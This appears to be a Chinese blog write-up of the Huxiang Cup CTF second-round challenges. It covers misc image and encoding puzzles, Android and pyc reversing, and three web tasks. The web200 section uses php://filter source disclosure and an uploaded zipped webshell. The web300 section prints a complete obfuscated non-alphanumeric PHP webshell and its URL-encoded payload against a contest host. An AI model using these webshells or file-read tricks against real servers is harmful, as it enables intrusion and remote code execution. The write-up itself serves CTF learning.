湖湘杯复赛WriteUp


湖湘杯复赛WriteUp

1.流量分析(misc)

wireshark中HTTP导出对象发现flag.zip,保存得到ce.txt,打开发现是rgb值,脚本生成图片。

考虑到98457不能开方,所以图片尺寸不是正方形,应该是长方形的flag值,因式分解得到337887.

实验后长宽为887*111.

from PIL import Image
x=887 
y=111
f = open("ce.txt", 'r')
RGBInfo = f.readlines()
f.flaglose()
flag = Image.new("RGB", (x, y)) 
for i in range(0, x):
    for j in range(0, y):
        rgb = RGBInfo[i * y + j].split(", ")
        flag.putpixel([i, j],(int(rgb[0]), int(rgb[1]), int(rgb[2])))
flag.show()
flag.save("D:\Flag.jpg")

2.MISC300

根据第二行的S’The black pixels of a b/w image are at’

观察到文件中的数据是具有固定格式,是经过pickle模块序列化后的。

使用pickle可以得到坐标列表。(x,y)……..

import pickle
from PIL import Image
with open('pixels.jpg.pkl') as file:
    data = pickle.loads(file.read().encode('utf8'))
info = [(int(e[0]), int(e[1])) for e in data[1:]]
width  = max([p[0] for p in info]) + 1
height = max([p[1] for p in info]) + 1
flag  = Image.new('1',(width, height),0)
point = flag.load()
for pixel in info:
    point[pixel[0], pixel[1]] = 255
flag.show()
flag.save("D:\Flagg.jpg")

3.热身运动(misc)

动图,23个图层,8X8棋盘格,对应64进制转换。解base64得到flag。

百度百科

25 38 49 33 25 55 44 49 29 5 60 49 13 21 61 38 29 22 57 46 30 23 52    
=>ZmxhZ3sxdF8xNV9mdW5ueX0
=>flag{1t_15_funny}    (解base64)

4.web200

op参数能读取执行功能的php,尝试用伪协议读取源码。(直接就能读flag.php ……)

php://filter/read=convert.base64-encode/resource=xxx

得到源码:

home.php

<?php
include 'common.php';
?>
<center>
<div class="article">
    <h2>Welcome!!</h2>
    <p>
        We let you upload PNG image files and store it!<br/>
    </p>
    <p>
        Get started by <a href="?op=upload">uploading a picture</a>
    </p>

</div>
</center>

指向common.php

<?php
if(!defined('FROM_INDEX')) die();

define('MAX_IM_SIZE', 100);

function create_image_key() {
    return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand());
}

function load_image($imagekey) {
    if(1 !== preg_match('/[0-9a-f]{40}/', $imagekey)) {
        fatal('Invalid image key.');
    }

    $im = imagecreatefrompng("uploads/{$imagekey}.png");
    if(!$im) {
        fatal('Failed to load image.');
    }
    return $im;
}
stream_wrapper_unregister ("zip");

将一句话打包压缩zip,如果不能直接上传就改一下后缀。通过伪协议getshell。

mark

mark

5.web150

–by Windylh

通过.index.php.swp得到源码

<?php
error_reporting(0);
$flag = "*********************";
echo "please input a rand_num !";
function create_password($pw_length =  10){
    $randpwd = "";
    for ($i = 0; $i < $pw_length; $i++){
        $randpwd .= chr(mt_rand(100, 200));
    }
    return $randpwd;
}

session_start();

mt_srand(time());

$pwd=create_password();

echo $pwd.'||';    

if($pwd == $_GET['pwd']){
    echo "first";
    if($_SESSION['userLogin']==$_GET['login'])
        echo "Nice , you get the flag it is ".$flag ;
}else{
    echo "Wrong!";
}

$_SESSION['userLogin']=create_password(32).rand();

?>

根据时间戳生成随机数然后与pwd参数对比,可以用python脚本来getflag。

import requests

url='http://114.215.138.89:10080/'

data=requests.get(url).content
data=data.split(b'||')[0].split(b'<br>')[1]

get={'pwd':data}
data=requests.get(url,get).content

print data

6.web300

题目提示getshell,并且过滤颇多。

要用仅剩的特殊字符构造webshell。

webshell

$_=[].'';$_=$_['('==')'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

payload

http://114.215.71.135:10080/?content=%24_%3D%5B%5D.%27%27%3B%24_%3D%24_%5B%27%7B%27%3D%3D%27%7D%27%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24___.%3D%24__%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___%28%24_%5B_%5D%29%3B

到shell页面执行命令getflag。

7.简单的安卓逆向

–by Windylh

下载apk,反编译。查看Mainactivity得到flag。

mark

8.Re4newer

–by NexusHE

本题大概思路就是在程序中存储了一系列字符串,将其各位与0x22异或计算,并将其按顺序拼接起来,需要注意的是,拼接按照的顺序有问题,需要自己根据语序拼接起来

#include <stdio.h>

int main() {
    int v2 = 43;
    int v[100] = {
0x5F,0x56,0x13,0x7D, //_1t}
0x71,0x51,0x63,0x52,
0x7D,0x57,0x7D,0x67,
0x67,0x67,0x70,0x70,
0x70,0x7D,0x47,0x4E, //le_R
0x52,0x4F,0x4B,0x51, //simp
0x7D,0x5B,0x50,0x11, //3ry_
0x54,0x7D,0x63,0x7D, //_A_v
0x71,0x4B,0x7D,0x51, //s_iS
0x13,0x4A,0x76,0x59, //{Th1
0x45,0x43,0x4E,0x44, //flag
};
    do {
        printf("%c", v[v2] ^ 0x22);
        v2--;
    }
    while(v2 > -1);
    return 0;
}

9.Encryptor.apk

–by NexusHE

本题大概是一个文件加密的apk,先是有一个内置的密码”Password”,计算其MD5值,将其按位取值与待加密的文件字节做异或运算,再另存到另一个文件。将其逆向处理,便获得源文件。

import java.io.*;
import java.nio.*;
import java.security.*;
import java.util.*;

public class script {
    public static void main(String[] args) throws Exception{
        String password = "Password";
        String path = "flag.encrypted";
        byte[] file1 = toByteArray(path);
        MessageDigest localMessageDigest = MessageDigest.getInstance("MD5");
        localMessageDigest.reset();
        localMessageDigest.update(password.getBytes());
        byte[] pass = localMessageDigest.digest();
        byte[] f2 = decrypt(file1, pass);
        File file2 = new File("x.jpg");
        FileOutputStream fos = new FileOutputStream(file2);
        fos.write(f2);
        fos.close();
    }

    public static byte[] decrypt(byte[] x, byte[] y) {
        int i = (byte)y.length;
        byte[] temp = new byte[x.length];
        for(int j = 0; j < x.length; j++) {
            temp[j] = ((byte)(x[j] ^ y[(j % i)]));
        }
        return temp;
    }

    public static byte[] toByteArray(String filename) throws IOException{  

        File f = new File(filename);  
        if(!f.exists()){  
            throw new FileNotFoundException(filename);  
        }  

        ByteArrayOutputStream bos = new ByteArrayOutputStream((int)f.length());  
        BufferedInputStream in = null;  
        try{  
            in = new BufferedInputStream(new FileInputStream(f));  
            int buf_size = 1024;  
            byte[] buffer = new byte[buf_size];  
            int len = 0;  
            while(-1 != (len = in.read(buffer,0,buf_size))){  
                bos.write(buffer,0,len);  
            }  
            return bos.toByteArray();  
        }catch (IOException e) {  
            e.printStackTrace();  
            throw e;  
        }finally{  
            try{  
                in.close();  
            }catch (IOException e) {  
                e.printStackTrace();  
            }  
            bos.close();  
        }  
    }
}

10.pyc分析

–by NexusHE

本题先给了一个pyc文件,将其反编译后,得到很长一串代码,仔细关系发现其写法类似于函数式编程语言,在根据lambda规则研究之后,代码化简至以下:

#Embedded file name: rev300.py
__g = globals()
__y = (lambda f: (lambda x: x(x))(lambda y: f(lambda : y(y)())))
string = (__import__('string', __g, __g))
table = (string.printable.strip())
"""
setbit = (lambda p, pos, value: (lambda __l: [ [ [ (lambda __target, __slice, __value: [ (lambda __target, __slice, __value: [ __l['p'] for __target[__slice] in [(lambda __old: (lambda __ret: (__old | __value if __ret is NotImplemented else __ret))(getattr(__old, '__ior__', lambda other: NotImplemented)(__value)))(__target[__slice])] ][0])(__l['p'], __l['cpos'], __l['value'] << __l['bpos']) for __target[__slice] in [(lambda __old: (lambda __ret: (__old & __value if __ret is NotImplemented else __ret))(getattr(__old, '__iand__', lambda other: NotImplemented)(__value)))(__target[__slice])] ][0])(__l['p'], __l['cpos'], ~(1 << __l['bpos'])) for __l['bpos'] in [__l['pos'] % 8] ][0] for __l['cpos'] in [__l['pos'] / 8] ][0] for __l['p'], __l['pos'], __l['value'] in [(p, pos, value)] ][0])({}))
setbit.__name__ = 'setbit'
getbit = (lambda p, pos: (lambda __l: [ [ [ __l['p'][__l['cpos']] >> __l['bpos'] & 1 for __l['bpos'] in [__l['pos'] % 8] ][0] for __l['cpos'] in [__l['pos'] / 8] ][0] for __l['p'], __l['pos'] in [(p, pos)] ][0])({}))
getbit.__name__ = 'getbit'
encode =  (lambda data, buf: (lambda __l: [ [ (lambda __items, __after, __sentinel: __y(lambda __this: lambda : (lambda __i: ([ [ __this() for __l['data'][__l['i']] in [table.index(__l['data'][__l['i']]) + 1] ][0] for __l['i'] in [__i] ][0] if __i is not __sentinel else __after()))(next(__items, __sentinel)))())(iter(xrange(__l['_len'])), lambda : (lambda __items, __after, __sentinel: __y(lambda __this: lambda : (lambda __i: ([ [ [ __this() for __l['buf'] in [setbit(__l['buf'], __l['i'], getbit(__l['data'], __l['j']))] ][0] for __l['j'] in [__l['i'] / 6 * 8 + __l['i'] % 6] ][0] for __l['i'] in [__i] ][0] if __i is not __sentinel else __after()))(next(__items, __sentinel)))())(iter(xrange(__l['_len'] * 6)), lambda : __l['buf'], []), []) for __l['_len'] in [len(__l['data'])] ][0] for __l['data'], __l['buf'] in [(data, buf)] ][0])({}))
encode.__name__ = 'encode'
"""
def setbit(p,pos,value):
    bpos = pos % 8
    cpos = pos / 8
    s = p
    s[cpos] = p[cpos] & (~(1 << bpos))
    s[cpos] = p[cpos] | (value << bpos)
    return s
def getbit(p,pos):
    bpos = pos % 8
    cpos = pos / 8
    return p[cpos] >> bpos & 1
def encode(data, buf):
    indexdata = []
    for i in xrange(len(data)):
        indexdata.append(table.index(data[i]) + 1)
    res = buf
    for i in xrange(len(data)*6):
        j = i / 6 * 8 + i % 6
        setbit(res, i, getbit(indexdata, j))
    return res
def encrypt():
    fin = open('key.txt', 'r')
    s = fin.read().strip()
    fin.close()
    ss = ([])
    sss = ([])
    __items = iter(s)
    __after = (lambda : [ [ (lambda __items, __after, __sentinel: __y(lambda __this: lambda : (lambda __i: ([ (lambda __value: [ __this() for __g['sssss'] in [(lambda __ret: (__g['sssss'] + __value if __ret is NotImplemented else __ret))(getattr(__g['sssss'], '__iadd__', lambda other: NotImplemented)(__value))] ][0])(chr(c)) for __g['c'] in [__i] ][0] if __i is not __sentinel else __after()))(next(__items, __sentinel)))())(iter(ssss), lambda : [ (fout.write(sssss), (fout.close(), None)[1])[1] for __g['fout'] in [open('key1.enc', 'wb+')] ][0], []) for __g['sssss'] in [''] ][0] for __g['ssss'] in [encode(ss, sss)] ][0])
    __sentinel = ([])
    __y(lambda __this: lambda : (lambda __i: ([ (ss.append(c), (sss.append(0), __this())[1])[1] for __g['c'] in [__i] ][0] if __i is not __sentinel else __after()))(next(__items, __sentinel)))()

加密的大体规则为把原字符存在table的index+1后,把后6位保存到加密后的文件里。根据此编写解密代码:

def decrypt():
    fin = open('key.enc','rb')
    cipher = fin.read()
    plain = ''
    def decode3b(s):
        a = s >> 16
        b = (s >> 8) & 0xFF
        c = s & 0xff
        sa = bin(a)[2:].zfill(8)
        sb = bin(b)[2:].zfill(8)
        sc = bin(c)[2:].zfill(8)
        return table[int(sa[2:], 2)] + table[int(sb[4:] + sa[:2], 2)] + table[int(sc[6:] + sb[:4], 2)] + table[int(sc[:6], 2)]
    for i in xrange(0,len(cipher),3):
        s = int(cipher[i:i+3].encode('hex'),16)
        plain += decode3b(s)
    print plain
    return ''.join(table[(table.index(c) + 63) % 64] for c in plain)
if __name__ == '__main__':
print decrypt()

得到

iiiiirrrrLfzea844d181c3249f6gtttggggggg0000000000000

hhhhhqqqqKeyd9733c070b2138e5fsssfffffff”””””””””””””

去掉乱码及一个冒号变成”d“,flag为key之后的一串字符串:

9733c070b2138e5f


文章作者: LANVNAL
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LANVNAL !
  目录